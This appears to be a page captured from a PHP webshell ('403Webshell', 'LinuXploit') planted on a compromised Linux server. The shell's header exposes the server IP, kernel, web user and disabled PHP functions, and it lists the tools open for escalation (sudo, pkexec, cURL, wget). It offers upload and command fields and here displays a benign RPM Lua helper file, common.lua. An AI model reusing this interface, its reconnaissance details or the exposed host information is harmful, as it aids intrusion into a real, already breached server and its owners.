403Webshell
Server IP : 43.141.49.92  /  Your IP : 113.219.202.173
Web Server : Apache
System : Linux VM-8-5-opencloudos 6.6.34-9.oc9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 19 19:35:45 CST 2024 x86_64
User : www ( 1000)
PHP Version : 8.1.27
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/rpm/lua/OpenCloudOS/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/rpm/lua/OpenCloudOS/common.lua
local function read(rpmvar)
  if not rpmvar or
    (rpm.expand("%{" .. rpmvar .. "}") == "%{" .. rpmvar .. "}") then
    return nil
  else
    return rpm.expand("%{?" .. rpmvar .. "}")
  end
end

local function hasflag(flag)
  return (rpm.expand("%{-" .. flag .. "}") ~= "")
end

local function readflag(flag)
  if not hasflag(flag) then
    return nil
  else
    local a = rpm.expand("%{-" .. flag .. "*}")
    if (a == '""') or (a == "''") then
      a = ''
    end
    return a
  end
end

local function explicitset(rpmvar, value, verbose)
  local value = value
  if (value == nil) or (value == "") then
    value = "%{nil}"
  end
  rpm.define(rpmvar .. " " .. value)
  if verbose then
    rpm.expand("%{warn:Setting %%{" .. rpmvar .. "} = " .. value .. "}")
  end
end

local function explicitunset(rpmvar, verbose)
  if (rpm.expand("%{" .. rpmvar .. "}") ~= "%{" .. rpmvar .. "}") then
    rpm.define(rpmvar .. " %{nil}")
    if verbose then
      rpm.expand("%{warn:Unsetting %%{" .. rpmvar .. "}}")
    end
  end
end

local function safeset(rpmvar, value, verbose)
  if (rpm.expand("%{" .. rpmvar .. "}") == "%{" .. rpmvar .. "}") then
    explicitset(rpmvar,value,verbose)
  end
end

local function zalias(rpmvars, verbose)
  for _, sfx in ipairs({{"","0"},{"0",""}}) do
    for _, rpmvar in ipairs(rpmvars) do
      local toalias = "%{?" .. rpmvar .. sfx[1] .. "}"
      if (rpm.expand(toalias) ~= "") then
        safeset(rpmvar .. sfx[2], toalias, verbose)
      end
    end
  end
end

local function setcurrent(rpmvars, suffix, verbose)
  for _, rpmvar in ipairs(rpmvars) do
    if (rpm.expand("%{?" .. rpmvar .. suffix .. "}") ~= "") then
      explicitset(  "current" .. rpmvar, "%{" .. rpmvar .. suffix .. "}", verbose)
    else
      explicitunset("current" .. rpmvar,                                  verbose)
    end
  end
end

local function echovars(rpmvars, suffix)
  for _, rpmvar in ipairs(rpmvars) do
    rpmvar = rpmvar .. suffix
    local header = string.sub("  " .. rpmvar .. ":                                               ",1,21)
    rpm.expand("%{?" .. rpmvar .. ":%{echo:" .. header .. "%{?" .. rpmvar .. "}}}")
  end
end

local function getsuffixed(rpmvar)
  local suffixes = {}
  zalias({rpmvar})
  for suffix=0,9999 do
    local value = rpm.expand("%{?" .. rpmvar .. suffix .. "}")
    if (value ~= "") then
      suffixes[tostring(suffix)] = value
    end
  end
  local value = rpm.expand("%{?" .. rpmvar .. "}")
  if (value ~= "") and (value ~= suffixes["0"]) then
     suffixes[""] = value
  end
  return suffixes
end

local function getsuffixes(rpmvar)
  suffixes = {}
  for suffix in pairs(getsuffixed(rpmvar)) do
    table.insert(suffixes,suffix)
  end
  table.sort(suffixes,
             function(a,b) return (tonumber(a) or 0) < (tonumber(b) or 0) end)
  return suffixes
end

local function getbestsuffix(rpmvar, value)
  local best         = nil
  local currentmatch = ""
  for suffix, setvalue in pairs(getsuffixed(rpmvar)) do
  if (string.len(setvalue) > string.len(currentmatch)) and
     (string.find(value, "^" .. setvalue)) then
      currentmatch = setvalue
      best         = suffix
    end
  end
  return best
end
 
local function writevars(macrofile, rpmvars)
  for _, rpmvar in ipairs(rpmvars) do
    print("sed -i 's\029" .. string.upper("@@" .. rpmvar .. "@@") ..
                   "\029" .. rpm.expand(  "%{" .. rpmvar .. "}" ) ..
                   "\029g' " .. macrofile .. "\n")
  end
end

local function wordwrap(text)
  text = rpm.expand(text .. "\n")
  text = string.gsub(text, "\t",              "  ")
  text = string.gsub(text, "\r",              "\n")
  text = string.gsub(text, " +\n",            "\n")
  text = string.gsub(text, "\n+\n",           "\n\n")
  text = string.gsub(text, "^\n",             "")
  text = string.gsub(text, "\n( *)[-*—][  ]+", "\n%1– ")
  output = ""
  for line in string.gmatch(text, "[^\n]*\n") do
    local pos = 0
    local advance = ""
    for word in string.gmatch(line, "%s*[^%s]*\n?") do
      local wl, bad = utf8.len(word)
      if not wl then
        print("%{warn:Invalid UTF-8 sequence detected in:}" ..
              "%{warn:" .. word .. "}" ..
              "%{warn:It may produce unexpected results.}")
        wl = bad
      end
      if (pos == 0) then
        advance, n = string.gsub(word, "^(%s*– ).*", "%1")
        if (n == 0) then
          advance = string.gsub(word, "^(%s*).*", "%1")
        end
        advance = string.gsub(advance, "– ", "  ")
        pos = pos + wl
      elseif  (pos + wl  < 81) or
             ((pos + wl == 81) and string.match(word, "\n$")) then
        pos = pos + wl
      else
        word = advance .. string.gsub(word, "^%s*", "")
        output = output .. "\n"
        pos = utf8.len(word)
      end
      output = output .. word
      if pos > 80 then
        pos = 0
        if not string.match(word, "\n$") then
          output = output .. "\n"
        end
      end
    end
  end
  output = string.gsub(output, "\n*$", "\n")
  return output
end

local function srcpkg(verbose)
  if verbose then
    rpm.expand([[
%{echo:Creating a header for the SRPM from %%{source_name}, %%{source_summary} and}
%{echo:%%{source_description}. If that is not the intended result, please declare the}
%{echo:SRPM header and set %%{source_name} in your spec file before calling a macro}
%{echo:that creates other package headers.}
]])
  end
  print(rpm.expand([[
Name:           %{source_name}
Summary:        %{source_summary}
%description
%wordwrap -v source_description
]]))
  explicitset("currentname", "%{source_name}", verbose)
end

local function new_package(source_name, pkg_name, name_suffix, first, verbose)
  if (not first) and (not source_name) then
    rpm.expand([[
%{warn:Something already set a package name. However, %%{source_name} is not set.}
%{warn:Please set %%{source_name} to the SRPM name to ensure reliable processing.}
]])
    if name_suffix then
      print(rpm.expand("%package        " .. name_suffix))
    else
      print(rpm.expand("%package     -n " .. pkg_name))
    end
    return
  end
  if not (pkg_name or name_suffix or source_name) then
    rpm.expand([[
%{error:You need to set %%{source_name} or provide explicit package naming!}
]])
  end
  if name_suffix then
    print(rpm.expand("%package        "  .. name_suffix))
    explicitset("currentname", "%{source_name}-" .. name_suffix, verbose)
  else
    if not source_name then
      source_name = pkg_name
    end
    if (pkg_name == source_name) then
      safeset("source_name", source_name, verbose)
      print(rpm.expand("Name:           %{source_name}"))
    else
      if source_name and first then
        srcpkg(verbose)
      end
      print(rpm.expand("%package     -n " .. pkg_name))
    end
    explicitset("currentname", pkg_name, verbose)
  end
end

return {
  read          = read,
  hasflag       = hasflag,
  readflag      = readflag,
  explicitset   = explicitset,
  explicitunset = explicitunset,
  safeset       = safeset,
  zalias        = zalias,
  setcurrent    = setcurrent,
  echovars      = echovars,
  getsuffixed   = getsuffixed,
  getsuffixes   = getsuffixes,
  getbestsuffix = getbestsuffix,
  writevars     = writevars,
  wordwrap      = wordwrap,
  new_package   = new_package,
}

Youez - 2016 - github.com/yon3zu
LinuXploit